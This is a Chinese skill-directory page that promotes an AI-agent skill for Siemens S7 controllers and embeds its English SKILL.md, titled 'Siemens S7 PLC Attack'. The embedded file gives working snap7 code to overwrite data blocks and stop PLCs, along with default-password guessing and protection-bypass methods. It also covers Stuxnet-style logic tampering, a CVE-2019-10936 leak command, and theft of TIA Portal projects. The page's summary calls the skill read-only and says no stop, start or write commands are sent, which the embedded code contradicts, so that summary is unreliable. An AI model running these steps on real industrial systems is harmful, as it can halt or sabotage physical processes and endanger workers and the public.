跳到正文
Skillpedia
安全6.5k · #14041

ics-s7comm

它能做什么

这份指南涵盖 Siemens S7 控制器的安全检查,它们在工厂和基础设施中很常见。适合获得书面批准的工厂安全团队,因为停止和写入指令可能使设备停机。

适用场景

  • ✓当授权审查需要识别 Siemens S7 控制器及其固件时。
  • ✓当你想检查某台 Siemens PLC 的保护强度时。
  • ✓当工厂需要一份控制器内存布局的只读清单时。

技能链接

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/s7comm/SKILL.md

复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。

使用方法

最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。

可直接粘贴的消息

请用这个技能帮我:https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/s7comm/SKILL.md 阅读该链接中的 SKILL.md 文件,并在我的任务中按照它的说明来做。
想让你的 AI 自己找到这样的技能吗?安装免费的 Skillpedia MCP:只需一行,每次任务前它都会在 15,000+ 个技能中搜索。1 分钟完成安装 →

可以这样问 AI

“请帮我识别我们的 Siemens S7 控制器,并告诉我每台的保护程度如何,且不做任何更改?”

每周 5 个新技能,1 分钟读完。

工作原理

智能体以只读模式连接,读取控制器的身份和保护级别,并报告发现的结果。不发送停止、启动和写入指令。

技术内容(原始 SKILL.md)

作者在 GitHub 上的英文原文。

Siemens S7 PLC Attack

S7Comm runs over ISO-on-TCP (RFC 1006), TCP/102. Siemens PLCs (S7-300, S7-400, S7-1200, S7-1500) speak it.

Discover

nmap -p 102 --script=s7-info 10.0.0.0/24
# s7-info NSE returns Module Type, Order Code, Firmware, PLC name

# Or with snap7
python3 -c '
import snap7
c = snap7.client.Client()
c.connect("10.0.0.50", 0, 1)        # IP, rack, slot
print(c.get_cpu_info())
print(c.get_cp_info())
print(c.get_order_code())
'

Read / Write data blocks

S7 memory areas: DB (data block), M (memory bits), E (input), A (output), T (timer), C (counter).

import snap7
from snap7 import util

c = snap7.client.Client()
c.connect("10.0.0.50", 0, 1)

# Read 100 bytes from DB10
data = c.db_read(10, 0, 100)
# Decode:
print("DB10.DBX0.0 (bit):", util.get_bool(data, 0, 0))
print("DB10.DBW2 (int):",   util.get_int(data, 2))
print("DB10.DBD4 (real):",  util.get_real(data, 4))

# Write back
util.set_real(data, 4, 99.9)
c.db_write(10, 0, data)

Stop / Start the PLC

c.plc_stop()          # ⚠ halts execution of the user program — process stops
c.plc_hot_start()     # Resume
c.plc_cold_start()    # Restart with full init
# Each is unauthenticated on S7-300/400 by default.

Authentication / "Protection Level" differences

PLC family Default protection Bypass class
S7-300/400 Often none ("No Protection") Direct
S7-1200 (FW < V4) None or password (cleartext on wire) Sniff password
S7-1200 (FW V4+) Password + challenge-response Replay session, weak hash
S7-1500 Password + challenge CVE-2019-10936 (info leak), then offline crack
# S7-1200/1500 password auth via snap7's set_session_password
c.set_session_password("changeme")
# Common defaults: "0000000", "siemens", "100", blank, vendor name

Stuxnet-class primitives (S7-300/400 still in many old fleets)

  • Function block tampering: write a custom FB that replaces an existing one — process logic silently changes.
  • OB1 hook: prepend a payload block to OB1 (the cyclic program block). Runs every scan cycle.
  • PROFIBUS frame injection (requires hardware): forge sensor data so the PLC sees normal values while actuators are mis-driven.
# Write a DB byte that's a control flag in the PLC program
c.write_area(0x84, 1, 0, bytearray([0xFF]))   # write to DB1 byte 0

CVE-2019-10936 — info leak on S7-1200/1500

Send a crafted COTP packet → PLC returns memory regions (uncovered password hash on some firmwares):

# PoC: github.com/Nibblesec/s7-info-leak
python3 leak.py 10.0.0.50

TIA Portal interaction

If you have network access to TIA Portal (the engineering workstation) instead of just the PLC, you can:

  • Steal the project file (.ap16) — contains every PLC's logic, comments, possibly password hashes
  • Replace the project being deployed to inject persistent logic changes
  • Default TIA Portal SQL — port 1433 with default sa / no password on older installs

OPSEC + safety

  • Physical safety: plc_stop() halts whatever the PLC controls. Pumps stop, valves freeze in last state, motors coast. Confirm scope authorization for stop-class testing.
  • Read-only enumeration is generally safe and silent. S7 has no audit log.
  • IT-OT IDS (Claroty, Nozomi, Dragos) flags new S7Comm sources — first connection from your IP is loud.
  • Siemens TIA Portal logs every project upload/download. Tampering with logic is detectable post-engagement during the next checksum review.

References

  • snap7 docs — snap7.sourceforge.net
  • "The S7Comm protocol" — Wireshark dissector docs
  • ICS-CERT advisories on Siemens products (https://www.cisa.gov/uscert/ics/advisories)
  • "Stuxnet Deep Dive" — Ralph Langner (still the canonical reference)
常见问题

为什么保护级别很重要?

该指南指出,较旧和较新的 S7 系列的保护设置不同,这会改变控制器的暴露程度。

停止指令会造成什么影响?

它会使控制器的程序停止运行,从而可能使其控制的流程停止。

涵盖哪些 PLC 系列?

该指南涵盖 S7-300、S7-400、S7-1200 和 S7-1500 控制器。

详情

作者的原始描述

Siemens S7 PLC attack — TCP/102 ISO-TP+S7-COMM, snap7 / python-snap7 enumeration, DB/M/E/A area read+write, PLC stop/start/run, password bypass (S7-300/400 vs S7-1200/1500 differences), CVE chain (e.g., Stuxnet's legacy primitives, CVE-2019-10936).

repo: BitterSecurity/Decepticon

热度

GitHub 星标
6.5k
排名
#14041
许可证
Apache-2.0
更新时间
2026/11/1

这个技能有用吗?

0

登录 后即可投票。

评论

  • …

同一仓库的更多技能

相似技能